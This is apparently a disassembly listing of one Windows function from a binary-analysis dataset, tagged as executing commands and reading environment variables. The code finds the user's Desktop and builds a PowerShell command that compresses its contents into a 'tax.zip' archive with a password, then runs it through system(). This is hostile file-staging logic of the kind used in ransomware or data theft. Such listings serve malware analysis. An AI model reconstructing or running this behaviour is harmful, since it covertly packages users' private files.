Function at 0x140003580
Capabilities:
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x280], rax
xor r12d, r12d
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], r12b
jne 0x1400035e3
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400061f0
nop
mov r8d, 8
lea rdx, str.Desktop
lea rcx, [rsp + 0x50]
call fcn.140005500
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000367e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003679
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
movdqa xmm0, xmmword [0x14000ac70]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rax, qword [rbp - 0x50]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x68], rax
call fcn.140007438
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140001930
nop
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.140005730
test eax, eax
jne 0x140003eec
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000372d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003728
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003728
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140003745
lock inc dword [rcx + 8]
mov rcx, qword [rbp - 0x68]
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x30], xmm0
test rcx, rcx
je 0x14000375b
lock inc dword [rcx + 8]
mov rcx, qword [rbp - 0x68]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
test rcx, rcx
je 0x140003797
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140003797
mov rbx, qword [rbp - 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140003797
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rbx, qword [rbp - 0x30]
nop dword [rax + rax]
test rbx, rbx
je 0x140003876
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400029f0
mov rax, qword [rsp + 0x20]
mov edx, dword [rsp + 0x28]
test edx, edx
je 0x1400037d2
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140003f00
cmp eax, 2
jne 0x1400037e0
lea rcx, [rbx + 0x20]
call fcn.1400030f0
lea rdx, [rbp + 0x30]
mov rcx, qword [rbx + 0x40]
call fcn.140007698
cmp eax, 0x12
je 0x140003825
test eax, eax
jne 0x140003ed8
cmp word [rbp + 0x5c], 0x2e
jne 0x140003817
movzx eax, word [rbp + 0x5e]
test ax, ax
je 0x1400037e0
cmp ax, 0x2e
jne 0x140003817
cmp word [rbp + 0x60], 0
je 0x1400037e0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.140002dd0
jmp 0x140003866
mov rbx, r12
mov qword [rbp - 0x30], rbx
mov rdi, qword [rbp - 0x28]
mov qword [rbp - 0x28], r12
test rdi, rdi
je 0x140003866
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140003862
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, esi
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140003862
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
mov rbx, qword [rbp - 0x30]
mov eax, r12d
test eax, eax
jne 0x140003ed8
jmp 0x1400037a0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400038ae
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400038ae
mov rbx, qword [rbp - 0x28]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400038ae
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400038e3
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400038e3
mov rbx, qword [rbp - 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x1400038e3
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
mov rsi, qword [rbp - 0x40]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rsi
cmp rax, 0x23
jb 0x140003f11
lea r15, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r15, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea r14, [rsi + 0x23]
mov ebx, 0xf
lea rdi, [rbp + 0x10]
movabs rcx, 0x8000000000000000
mov eax, 0x16
cmp r14, rbx
jbe 0x1400039ad
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x14000396d
mov rbx, r13
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140007b50
test rax, rax
je 0x14000399a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400039a9
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003982
mov rdi, r12
jmp 0x1400039a9
cmp rcx, 0x1000
jb 0x1400039a1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ee0
jmp 0x140003952
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b50
mov rdi, rax
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], rbx
movups xmm0, xmmword [str.powershell_Compress_Archive__Path__]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14000a8e8]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x14000a8f8]
mov word [rdi + 0x20], ax
movzx eax, byte [0x14000a8fa]
mov byte [rdi + 0x22], al
lea rcx, [rdi + 0x23]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 0x16
lea rdx, str.___DestinationPath__
lea rcx, [rbp + 0x10]
call fcn.140005500
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp - 0x30]
call fcn.140005500
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r12
mov byte [rax], 0
mov r8d, 0xb
lea rdx, str._tax.zip__
lea rcx, [rbp - 0x70]
call fcn.140005500
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003aff
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003afa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003afa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
movdqa xmm0, xmmword [0x14000ac70]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140003b56
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
movdqa xmm0, xmmword [0x14000ac70]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140003ba5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
movdqa xmm0, xmmword [0x14000ac70]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov r8d, 0x13
lea rdx, str._password__tax_
lea rcx, [rbp - 0x10]
call fcn.140005500
mov r8d, 0x3b
lea rdx, str.Add_Type__AssemblyName_System.IO.Compression.FileSystem_
lea rcx, [rbp - 0x10]
call fcn.140005500
mov r14, qword [rbp - 0x40]
mov rax, r13
sub rax, r14
cmp rax, 0x2e
jb 0x140003ed2
lea r15, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r15, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x2e]
mov edi, 0xf
lea rbx, [rsp + 0x30]
cmp rsi, rdi
jbe 0x140003c9c
mov rdi, rsi
or rdi, 0xf
cmp rdi, r13
jbe 0x140003c5c
mov rdi, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140007b50
test rax, rax
je 0x140003dc8
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003c97
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140003c77
mov rbx, r12
jmp 0x140003c97
cmp rcx, 0x1000
jb 0x140003c8f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ee6
jmp 0x140003c3d
call fcn.140007b50
mov rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
movups xmm0, xmmword [str._zip___System.IO.Compression.ZipFile_::Open_]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x14000a9a8]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [0x14000a9b8]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [0x14000a9c0]
mov dword [rbx + 0x28], eax
movzx eax, word [0x14000a9c4]
mov word [rbx + 0x2c], ax
lea rcx, [rbx + 0x2e]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov r8d, 0x3c
lea rdx, str._tax.zip___System.IO.Compression.ZipArchiveMode_::Update__
lea rcx, [rsp + 0x30]
call fcn.140005500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp - 0x10]
call fcn.140005500
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140003d94
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140003dd4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003dcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003dcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
mov r8d, 0x3b
lea rdx, str._zip.Entries__ForEach_Object____.Password___password__
lea rcx, [rbp - 0x10]
call fcn.140005500
mov r8d, 0xf
lea rdx, str._zip.Dispose___
lea rcx, [rbp - 0x10]
call fcn.140005500
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140003e53
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
movdqa xmm0, xmmword [0x14000ac70]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003ea2
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b94
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140007b30
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001240
nop
mov edx, eax
call fcn.140002890
nop
call fcn.140001110
nop
call fcn.140001110
nop
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002980
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.140002980
nop
call fcn.140001240
int3